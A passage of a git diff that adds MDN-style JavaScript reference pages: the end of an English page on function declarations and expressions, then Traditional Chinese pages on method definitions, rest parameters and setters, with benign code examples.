+<p>A <em>function expression</em> of a function named <code>func_name</code> assigned to the variable <code>multiply</code></p>
+
+<pre class="brush: js">var multiply = function func_name(x, y) {
+   return x * y;
+};
+</pre>
+
+<h3 id="Differences">Differences</h3>
+
+<p>All do approximately the same thing, with a few subtle differences:</p>
+
+<p>There is a distinction between the function name and the variable the function is assigned to. The function name cannot be changed, while the variable the function is assigned to can be reassigned. The function name can be used only within the function's body. Attempting to use it outside the function's body results in an error (or <code>undefined</code> if the function name was previously declared via a <code>var</code> statement). For example:</p>
+
+<pre class="brush: js">var y = function x() {};
+alert(x); // throws an error
+</pre>
+
+<p>The function name also appears when the function is serialized via <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toString"><code>Function</code>'s toString method</a>.</p>
+
+<p>On the other hand, the variable the function is assigned to is limited only by its scope, which is guaranteed to include the scope where the function is declared in.</p>
+
+<p>As the 4th example shows, the function name can be different from the variable the function is assigned to. They have no relation to each other.A function declaration also creates a variable with the same name as the function name. Thus, unlike those defined by function expressions, functions defined by function declarations can be accessed by their name in the scope they were defined in:</p>
+
+<p>A function defined by '<code>new Function'</code> does not have a function name. However, in the <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> JavaScript engine, the serialized form of the function shows as if it has the name "anonymous". For example, <code>alert(new Function())</code> outputs:</p>
+
+<pre class="brush: js">function anonymous() {
+}
+</pre>
+
+<p>Since the function actually does not have a name, <code>anonymous</code> is not a variable that can be accessed within the function. For example, the following would result in an error:</p>
+
+<pre class="brush: js">var foo = new Function("alert(anonymous);");
+foo();
+</pre>
+
+<p>Unlike functions defined by function expressions or by the <code>Function</code> constructor, a function defined by a function declaration can be used before the function declaration itself. For example:</p>
+
+<pre class="brush: js">foo(); // alerts FOO!
+function foo() {
+   alert('FOO!');
+}
+</pre>
+
+<p>A function defined by a function expression inherits the current scope. That is, the function forms a closure. On the other hand, a function defined by a <code>Function</code> constructor does not inherit any scope other than the global scope (which all functions inherit).</p>
+
+<p>Functions defined by function expressions and function declarations are parsed only once, while those defined by the <code>Function</code> constructor are not. That is, the function body string passed to the <code>Function</code> constructor must be parsed each and every time the constructor is called. Although a function expression creates a closure every time, the function body is not reparsed, so function expressions are still faster than "<code>new Function(...)</code>". Therefore the <code>Function</code> constructor should generally be avoided whenever possible.</p>
+
+<p>It should be noted, however, that function expressions and function declarations nested within the function generated by parsing a <code>Function constructor</code> 's string aren't parsed repeatedly. For example:</p>
+
+<pre class="brush: js">var foo = (new Function("var bar = \'FOO!\';\nreturn(function() {\n\talert(bar);\n});"))();
+foo(); // The segment "function() {\n\talert(bar);\n}" of the function body string is not re-parsed.</pre>
+
+<p>A function declaration is very easily (and often unintentionally) turned into a function expression. A function declaration ceases to be one when it either:</p>
+
+<ul>
+ <li>becomes part of an expression</li>
+ <li>is no longer a "source element" of a function or the script itself. A "source element" is a non-nested statement in the script or a function body:</li>
+</ul>
+
+<pre class="brush: js">var x = 0;               // source element
+if (x == 0) {            // source element
+   x = 10;               // not a source element
+   function boo() {}     // not a source element
+}
+function foo() {         // source element
+   var y = 20;           // source element
+   function bar() {}     // source element
+   while (y == 10) {     // source element
+      function blah() {} // not a source element
+      y++;               // not a source element
+   }
+}
+</pre>
+
+<h3 id="Examples">Examples</h3>
+
+<pre class="brush: js">// function declaration
+function foo() {}
+
+// function expression
+(function bar() {})
+
+// function expression
+x = function hello() {}
+
+
+if (x) {
+   // function expression
+   function world() {}
+}
+
+
+// function declaration
+function a() {
+   // function declaration
+   function b() {}
+   if (0) {
+      // function expression
+      function c() {}
+   }
+}
+</pre>
+
+<h2 id="Conditionally_defining_a_function">Conditionally defining a function</h2>
+
+<p>Functions can be conditionally defined using either //function statements// (an allowed extension to the <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262 Edition 3</a> standard) or the <code>Function</code> constructor. Please note that such <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=609832">function statements are no longer allowed in ES5 strict</a>. Additionally, this feature does not work consistently cross-browser, so you should not rely on it.</p>
+
+<p>In the following script, the <code>zero</code> function is never defined and cannot be invoked, because '<code>if (0)</code>' evaluates its condition to false:</p>
+
+<pre class="brush: js">if (0) {
+   function zero() {
+      document.writeln("This is zero.");
+   }
+}
+</pre>
+
+<p>If the script is changed so that the condition becomes '<code>if (1)</code>', function <code>zero</code> is defined.</p>
+
+<p>Note: Although this kind of function looks like a function declaration, it is actually an expression (or statement), since it is nested within another statement. See differences between function declarations and function expressions.</p>
+
+<p>Note: Some JavaScript engines, not including <a href="/en-US/docs/SpiderMonkey">SpiderMonkey</a>, incorrectly treat any function expression with a name as a function definition. This would lead to <code>zero</code> being defined, even with the always-false <code>if</code> condition. A safer way to define functions conditionally is to define the function anonymously and assign it to a variable:</p>
+
+<pre class="brush: js">if (0) {
+   var zero = function() {
+      document.writeln("This is zero.");
+   }
+}
+</pre>
+
+<h2 id="Examples_2">Examples</h2>
+
+<h3 id="Returning_a_formatted_number">Returning a formatted number</h3>
+
+<p>The following function returns a string containing the formatted representation of a number padded with leading zeros.</p>
+
+<pre class="brush: js">// This function returns a string padded with leading zeros
+function padZeros(num, totalLen) {
+   var numStr = num.toString();             // Initialize return value as string
+   var numZeros = totalLen - numStr.length; // Calculate no. of zeros
+   for (var i = 1; i &lt;= numZeros; i++) {
+      numStr = "0" + numStr;
+   }
+   return numStr;
+}
+</pre>
+
+<p>The following statements call the padZeros function.</p>
+
+<pre class="brush: js">var result;
+result = padZeros(42,4); // returns "0042"
+result = padZeros(42,2); // returns "42"
+result = padZeros(5,4);  // returns "0005"
+</pre>
+
+<h3 id="Determining_whether_a_function_exists">Determining whether a function exists</h3>
+
+<p>You can determine whether a function exists by using the <code>typeof</code> operator. In the following example, a test is peformed to determine if the <code>window</code> object has a property called <code>noFunc</code> that is a function. If so, it is used; otherwise some other action is taken.</p>
+
+<pre class="brush: js"> if ('function' == typeof window.noFunc) {
+   // use noFunc()
+ } else {
+   // do something else
+ }
+</pre>
+
+<p>Note that in the <code>if</code> test, a reference to <code>noFunc</code> is used—there are no brackets "()" after the function name so the actual function is not called.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition. Implemented in JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>New: Arrow functions, Generator functions, default parameters, rest parameters</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#', 'function*')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Generator function</td>
+   <td>39</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Arrow function</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Generator function</td>
+   <td>{{CompatUnknown}}</td>
+   <td>39</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Arrow function</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Functions/Arrow_functions", "Arrow functions")}}</li>
+ <li>{{jsxref("Functions/Default_parameters", "Default parameters")}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "Rest parameters")}}</li>
+ <li>{{jsxref("Functions/arguments", "Arguments object")}}</li>
+ <li>{{jsxref("Functions/get", "getter")}}</li>
+ <li>{{jsxref("Functions/set", "setter")}}</li>
+ <li>{{jsxref("Functions/Method_definitions", "Method definitions")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope" title="JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/functions/method_definitions/index.html b/files/zh-tw/web/javascript/reference/functions/method_definitions/index.html
new file mode 100644
index 0000000000..15aeef0f00
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/functions/method_definitions/index.html
@@ -0,0 +1,213 @@
+---
+title: 方法定義
+slug: Web/JavaScript/Reference/Functions/Method_definitions
+translation_of: Web/JavaScript/Reference/Functions/Method_definitions
+---
+<div>{{JsSidebar("Functions")}}</div>
+
+<p>自 ECMAScript 2015 開始，引入了一種於物件初始器（objects initializers）中定義方法的簡短語法。是一個將函式指派予方法名稱的簡便方式。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-definitions.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var obj = {
+  <var>property</var>( <var>parameters…</var> ) {},
+  *<var>generator</var>( <var>parameters…</var> ) {},
+  async property( <var>parameters…</var> ) {},
+  async* generator( <var>parameters…</var> ) {},
+
+  // with computed keys:
+  [property]( <var>parameters…</var> ) {},
+  *[generator]( <var>parameters…</var> ) {},
+  async [property]( <var>parameters…</var> ) {},
+
+  // compare getter/setter syntax:
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {}
+};
+</pre>
+
+<h2 id="說明">說明</h2>
+
+<p>這個簡短的語法和在 ECMAScript 2015 引入 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> 以及 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a> 類似。</p>
+
+<p>請看以下程式碼：</p>
+
+<pre class="brush: js">var obj = {
+  foo: function() {
+    /* code */
+  },
+  bar: function() {
+    /* code */
+  }
+};
+</pre>
+
+<p>你可以把它縮減為：</p>
+
+<pre class="brush: js">var obj = {
+  foo() {
+    /* code */
+  },
+  bar() {
+    /* code */
+  }
+};
+</pre>
+
+<h3 id="產生器方法">產生器方法</h3>
+
+<p><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/function*">產生器方法</a>（Generator method）也可以透過簡短語法定義之。用的時候：</p>
+
+<ul>
+ <li>簡短語法的星號（*）必須放在產生器方法的屬性名前面。也就是說 <code>* g(){}</code> 能動但 <code>g *(){}</code> 不行；</li>
+ <li>
+  <p>非產生器方法的定義可能不會有 <code>yield</code> 關鍵字。也就是說<a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">過往的產生器函式</a>動不了、並拋出{{jsxref("SyntaxError")}}。Always use <code>yield</code> in conjunction with the asterisk (*).</p>
+ </li>
+</ul>
+
+<pre class="brush: js;highlight[12]">// Using a named property
+var obj2 = {
+  g: function* () {
+    var index = 0;
+    while (true)
+      yield index++;
+  }
+};
+
+// The same object using shorthand syntax
+var obj2 = {
+  * g() {
+    var index = 0;
+    while (true)
+      yield index++;
+  }
+};
+
+var it = obj2.g();
+console.log(it.next().value); // 0
+console.log(it.next().value); // 1</pre>
+
+<h3 id="Async_方法">Async 方法</h3>
+
+<p>{{jsxref("Statements/async_function", "Async 方法", "", 1)}} 也可以透過簡短語法定義。</p>
+
+<pre class="brush: js;highlight[12]">// Using a named property
+var obj3 = {
+  f: async function () {
+    await some_promise;
+  }
+};
+
+// The same object using shorthand syntax
+var obj3 = {
+  async f() {
+    await some_promise;
+  }
+};
+</pre>
+
+<h3 id="Async_generator_methods">Async generator methods</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Generator methods</a> can also be {{jsxref("Statements/async_function", "async", "", 1)}}.</p>
+
+<pre class="brush: js">var obj4 = {
+  f: async function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+  }
+};
+
+// The same object using shorthand syntax
+var obj4 = {
+  async* f() {
+   yield 1;
+   yield 2;
+   yield 3;
+  }
+};</pre>
+
+<h3 id="Method_definitions_are_not_constructable">Method definitions are not constructable</h3>
+
+<p>All method definitions are not constructors and will throw a {{jsxref("TypeError")}} if you try to instantiate them.</p>
+
+<pre class="brush: js example-bad">var obj = {
+  method() {}
+};
+new obj.method; // TypeError: obj.method is not a constructor
+
+var obj = {
+  * g() {}
+};
+new obj.g; // TypeError: obj.g is not a constructor (changed in ES2016)
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Simple_test_case">Simple test case</h3>
+
+<pre class="brush: js;highlight[3]">var obj = {
+  a: 'foo',
+  b() { return this.a; }
+};
+console.log(obj.b()); // "foo"
+</pre>
+
+<h3 id="Computed_property_names">Computed property names</h3>
+
+<p>The shorthand syntax also supports computed property names.</p>
+
+<pre class="brush: js;highlight[4]">var bar = {
+  foo0: function() { return 0; },
+  foo1() { return 1; },
+  ['foo' + 2]() { return 2; }
+};
+
+console.log(bar.foo0()); // 0
+console.log(bar.foo1()); // 1
+console.log(bar.foo2()); // 2</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td>Changed that generator methods should also not have a [[Construct]] trap and will throw when used with <code>new</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.functions.method_definitions")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/get">get</a></code></li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/functions/rest_parameters/index.html b/files/zh-tw/web/javascript/reference/functions/rest_parameters/index.html
new file mode 100644
index 0000000000..bed96fff03
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/functions/rest_parameters/index.html
@@ -0,0 +1,155 @@
+---
+title: 其餘參數
+slug: Web/JavaScript/Reference/Functions/rest_parameters
+translation_of: Web/JavaScript/Reference/Functions/rest_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong>其餘參數（rest parameter）</strong> 語法可以讓我們表示不確定數量的參數，並將其視為一個陣列。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">function f(a, b, ...theArgs) {
+  // ...
+}
+</pre>
+
+<h2 id="描述">描述</h2>
+
+<p>如果函式的最後一個命名參數以 <code>...</code> 開頭，它會被視為一個陣列。該陣列的元素會被置於索引從 <code>0</code>（含）到的 <code>theArgs.length</code>（不含）位置，並且被視為一個函式的參數。</p>
+
+<p>在上面的範例中，<code>theArgs</code> 會將函式f中第三個(含)以後的參數收集起來。</p>
+
+<h3 id="其餘參數和_arguments_物件的差異">其餘參數和 <code>arguments</code> 物件的差異</h3>
+
+<p>以下是其餘參數和 <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments">arguments</a> 物件</code>三個主要的差異：</p>
+
+<ul>
+ <li>其餘參數是 <code>arguments</code> 物件被傳入到函式的時候，還沒被指定變數名稱的引數。</li>
+ <li><code>arguments</code> 物件不是一個實際的陣列，而 rest parameter 是陣列的實體，即 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort" title="Array sort method">sort</a></code>、<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="Array map method">map</a></code><font face="Open Sans, arial, x-locale-body, sans-serif">、</font><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach" title="Array forEach method">forEach</a></code> <font face="Open Sans, arial, x-locale-body, sans-serif">或 </font><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop" title="Array pop method">pop</a></code> 可以直接在其餘參數被調用。</li>
+ <li><code>arguments</code> 物件自身有額外的功能，例如 <code>callee</code> 屬性。</li>
+</ul>
+
+<h3 id="將參數轉成陣列">將參數轉成陣列</h3>
+
+<p>其餘參數被介紹作為取代用 arguments 寫的範例程式。</p>
+
+<pre class="brush: js">// 在有其餘參數之前，你可能見過下面的程式碼：
+function f(a, b) {
+  var args = Array.prototype.slice.call(arguments, f.length); // f.length 表示 arguments 的數量
+
+  // …
+}
+
+// 現在可以寫成這樣
+
+function f(a, b, ...args) {
+
+}
+</pre>
+
+<h3 id="解構其餘參數_rest_parameters">解構其餘參數 rest parameters</h3>
+
+<p>其餘參數可以被解構，換句話說，可以把這個陣列解開，並將各個元素取出成為個別的變數。請參考<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">解構賦值</a>。</p>
+
+<pre class="brush: js">function f(...[a, b, c]) {
+  return a + b + c;
+}
+
+f(1)          // NaN (b 和 c 都是 undefined)
+f(1, 2, 3)    // 6
+f(1, 2, 3, 4) // 6 (第四個參數不會被解構，因為解構式只有三個定義好的變數名稱)</pre>
+
+<h2 id="範例">範例</h2>
+
+<p>因為 <code>theArgs</code> 是一個陣列，所以它會有 <code>length</code> 屬性，作為表示參數數量：</p>
+
+<pre class="brush: js">function fun1(...theArgs) {
+  console.log(theArgs.length);
+}
+
+fun1();  // 0
+fun1(5); // 1
+fun1(5, 6, 7); // 3
+</pre>
+
+<p>在接下來的範例中，其餘參數被用來收集第一個之後的所有引數並存在陣列中。 在這個陣列裡的每個元素(數字)，都會和第一個參數相乘後取代原本的元素，最後再將取代元素後的陣列回傳。</p>
+
+<pre class="brush: js">function multiply(multiplier, ...theArgs) {
+  return theArgs.map(function(element) {
+    return multiplier * element;
+  });
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]
+</pre>
+
+<p>下列範例展示 <code>Array</code> 的方法可以在其餘參數上被使用，但 <code>arguments</code> 則不行。</p>
+
+<pre class="brush: js">function sortRestArgs(...theArgs) {
+  var sortedArgs = theArgs.sort();
+  return sortedArgs;
+}
+
+console.log(sortRestArgs(5, 3, 7, 1)); // 顯示 1, 3, 5, 7
+
+function sortArguments() {
+  var sortedArgs = arguments.sort();
+  return sortedArgs; // 因為前一行會因為 arguments 沒有sort()這個方法而造成TypeError，所以永遠不會執行此行。
+}
+
+console.log(sortArguments(5, 3, 7, 1)); // 會拋出 TypeError (arguments.sort is not a function)
+</pre>
+
+<p>為了要在 <code>arguments</code> 物件上使用 <code>Array</code> 的方法，可以將它轉換成真的 <code>Array</code> 實體，或者以 <code>apply()</code> 直接調用需要的方法。</p>
+
+<pre class="brush: js">function sortArguments() {
+  var args = Array.from(arguments);
+  var sortedArgs = args.sort();
+  return sortedArgs;
+}
+console.log(sortArguments(5, 3, 7, 1)); // 顯示 1, 3, 5, 7
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.functions.rest_parameters")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator" title="spread operator">Spread operator</a> (also ‘<code>...</code>’)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments">Arguments object</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="Array">Array</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions" title="Functions and function scope">Functions</a></li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:rest_parameters">Original proposal at ecmascript.org</a></li>
+ <li><a class="external" href="http://javascriptweblog.wordpress.com/2011/01/18/javascripts-arguments-object-and-beyond/">JavaScript arguments object and beyond</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring assignment</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/functions/set/index.html b/files/zh-tw/web/javascript/reference/functions/set/index.html
new file mode 100644
index 0000000000..171d366eb9
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/functions/set/index.html
@@ -0,0 +1,138 @@
+---
+title: setter
+slug: Web/JavaScript/Reference/Functions/set
+translation_of: Web/JavaScript/Reference/Functions/set
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>set</code></strong> 語法會在物件屬性被嘗試定義時，將其屬性綁定到要呼叫的函式內。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-setter.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">{set <em>prop</em>(<em>val</em>) { . . . }}
+{set [expression](<em>val</em>) { . . . }}</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>要綁定到給定函式的屬性名。</dd>
+ <dt><code>val</code></dt>
+ <dd>變數別名，該變數擁有要被嘗試安插到 <code>prop</code> 的數值。</dd>
+ <dt>expression</dt>
+ <dd>從 ECMAScript 2015 開始，可以使用計算屬性名（computed property name）表達式，綁定到給定函式。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>JavaScript 的 setter 能在嘗試修改指定屬性時，執行給定函式。Setter 最常用於和 getter 一同建立虛擬屬性（pseudo-property）。你不可能給同一個屬性賦予 setter 與實際值。</p>
+
+<p>使用 <code>set</code> 語法時，請注意以下情況：</p>
+
+<div>
+<ul>
+ <li>可以擁有一個以數字或字串為代表的標示符；</li>
+ <li>最少要有一個參數（請參見 <a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a> 的詳細資料）；</li>
+ <li>不能以有另一個 <code>set</code> 的 object literal、或相同屬性入口（data entry）的 data 形式出現（不能使用 <code>{ set x(v) { }, set x(v) { } }</code> and <code>{ x: ..., set x(v) { } }</code>）</li>
+</ul>
+</div>
+
+<p><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/delete" title="zh-TW/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a> 操作符可移除 setter。</p>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="在物件初始器的新物件定義_setter">在物件初始器的新物件定義 setter</h3>
+
+<p>這裡會給物件 <code>language</code> 定義稱為 <code>current</code> 的虛擬屬性。在指派數值時 <code>log</code> 會和該值一同更新：</p>
+
+<pre class="brush: js">var language = {
+  set current(name) {
+    this.log.push(name);
+  },
+  log: []
+}
+
+language.current = 'EN';
+console.log(language.log); // ['EN']
+
+language.current = 'FA';
+console.log(language.log); // ['EN', 'FA']
+</pre>
+
+<p>請注意 <code>current</code> is not defined and any attempts to access it will result in <code>undefined</code>.</p>
+
+<h3 id="使用_delete_操作符移除_setter">使用 <code>delete</code> 操作符移除 setter</h3>
+
+<p>若想移除 setter 的話，可以直接使用 <code><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code>：</p>
+
+<pre class="brush: js">delete o.current;
+</pre>
+
+<h3 id="針對已存在屬性的_setter_使用_defineProperty">針對已存在屬性的 setter 使用 <code>defineProperty</code></h3>
+
+<p>To append a setter to an existing object later at any time, use {{jsxref("Object.defineProperty()")}}.</p>
+
+<pre class="brush: js">var o = {a: 0};
+
+Object.defineProperty(o, 'b', { set: function(x) { this.a = x / 2; } });
+
+o.b = 10; // Runs the setter, which assigns 10 / 2 (5) to the 'a' property
+console.log(o.a) // 5</pre>
+
+<h3 id="使用計算屬性名">使用計算屬性名</h3>
+
+<pre class="brush: js">var expr = 'foo';
+
+var obj = {
+  baz: 'bar',
+  set [expr](v) { this.baz = v; }
+};
+
+console.log(obj.baz); // "bar"
+obj.foo = 'baz';      // 跑 setter
+console.log(obj.baz); // "baz"
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>初始定義。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>增加計算屬性名。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{Compat("javascript.functions.set")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/get">getter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li>JavaScript 教學的<a href="/zh-TW/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">定義 Getters 與 Setters</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/@@iterator/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/@@iterator/index.html
new file mode 100644
index 0000000000..eb73724bef
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/@@iterator/index.html
@@ -0,0 +1,89 @@
+---
+title: 'Array.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Global_Objects/Array/@@iterator
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@iterator
+---
+<div>{{JSRef}}</div>
+
